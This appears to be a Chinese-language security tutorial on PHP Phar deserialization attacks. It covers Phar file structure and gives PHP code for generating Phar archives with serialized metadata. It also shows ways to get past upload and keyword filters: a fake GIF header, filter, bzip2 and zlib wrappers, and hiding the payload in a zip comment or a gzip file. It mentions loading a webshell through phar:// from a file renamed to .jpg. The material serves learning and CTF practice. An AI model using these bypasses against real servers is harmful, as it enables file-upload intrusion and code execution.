目录
[1.stub phar:文件标识。](#1.stub phar:文件标识。)
[格式为 xxx;](#格式为 xxx;)
[3.绕过 __HALT_COMPILER检测](#3.绕过 __HALT_COMPILER检测)
(1)将Phar文件的内容写到压缩包注释中,压缩为zip文件
学习参考:
一、什么是phar
phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件。
可以把多个php文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
一般使用 文件包含中的,phar://伪协议,读取.phar文件
phar://伪协议格式:
不管后缀是什么,都会当做压缩包来解压
?file=phar://压缩包/内部文件
e.g 将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)
?file=phar://shell.jpg/shell.php
PHP>=5.3.0压缩包需要是zip协议压缩,rar不行
二、phar结构
1.stub phar:文件标识。
格式为 xxx<?php xxx; __HALT_COMPILER();?>;
PHP通过stub识别一个文件为phar文件,可以利用这点绕过文件上传检测
例如 放入010editor中有<?php __HALT_COMPILER();?>头部信息
*2、manifest:压缩文件属性等信息,以序列化存
这也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data
3、contents:压缩文件的内容。
4、signature:签名,放在文件末尾。
生成模板:
先设置php.ini中phar.readonly = Off,注意要删除";"分号
#get_phar.php
<?php
class test{
public $name="line";
function __destruct()
{
echo "This is ".$this->name;
}
}
$a = new test();
$a->name="Phar";
$phar=new phar('phar.phar',0);//后缀名必须为phar
$phar->startBuffering();//开始缓冲 Phar 写操作
$phar->setMetadata($a);//自定义的meta-data存入manifest
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
(小皮搭建phar网站)访问get_phar.php,010分析生成的phar.phar
三、绕过方式
1.更改文件格式
一般可以绕过大多数上传检测
利用Phar反序列化的第一步是需要上传Phar文件到服务器,而如果服务端存在防护,就需要更改文件格式。
e.g 要求文件格式只能为gif
$_FILES["file"]["type"]=="image/gif"
PHP通过
Stub
里的__HALT_COMPILER();
来识别这个文件是Phar文件,对于其他无限制。故 对文件后缀、文件名进行更改,其实质仍然是Phar文件。
示例代码:
<?php
class Test {
public $name;
function __construct(){
echo "I am".$this->name;
}
}
$a = new Test();
$a -> name = "line";
$phar = new Phar('GIF.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($a); //将自定义meta-data存入manifest
$phar -> stopBuffering(); //停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
在浏览器上访问此文件生成GIF.phar文件,用010editor查看
分析文件格式 为gif
2.绕过phar关键词检测
Phar反序列化中,一般思路是上传Phar文件后,通过给参数赋值为**Phar://xxx
**来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,此时需要绕过phar关键词检测。
e.g 正则过滤了头为Phar等关键字
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){ die(); }
可使用各种协议来进行绕过
1、使用filter伪协议来进行绕过
php://filter/read=convert.base64-encode/resource=phar://test.phar
2、使用bzip2协议来进行绕过
compress.bzip2://phar:///test.phar/test.txt
3、使用zlib协议进行绕过
compress.zlib://phar:///home/sx/test.phar/test.txt
3.绕过 __HALT_COMPILER检测
PHP通过__HALT_COMPILER
来识别Phar文件,那么出于安全考虑 为了防止Phar反序列化的出现,可能就会对__HALT_COMPILER
进行过滤。
e.g 正则过滤
__HALT_COMPILER
if (preg_match("/HALT_COMPILER/i",$Phar){ die(); }
(1)将Phar文件的内容写到压缩包注释中,压缩为zip文件
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>
(2)将生成的Phar文件进行gzip压缩,压缩命令:
gzip test.phar
//gzip 文件名.phar
压缩后同样也可进行反序列化。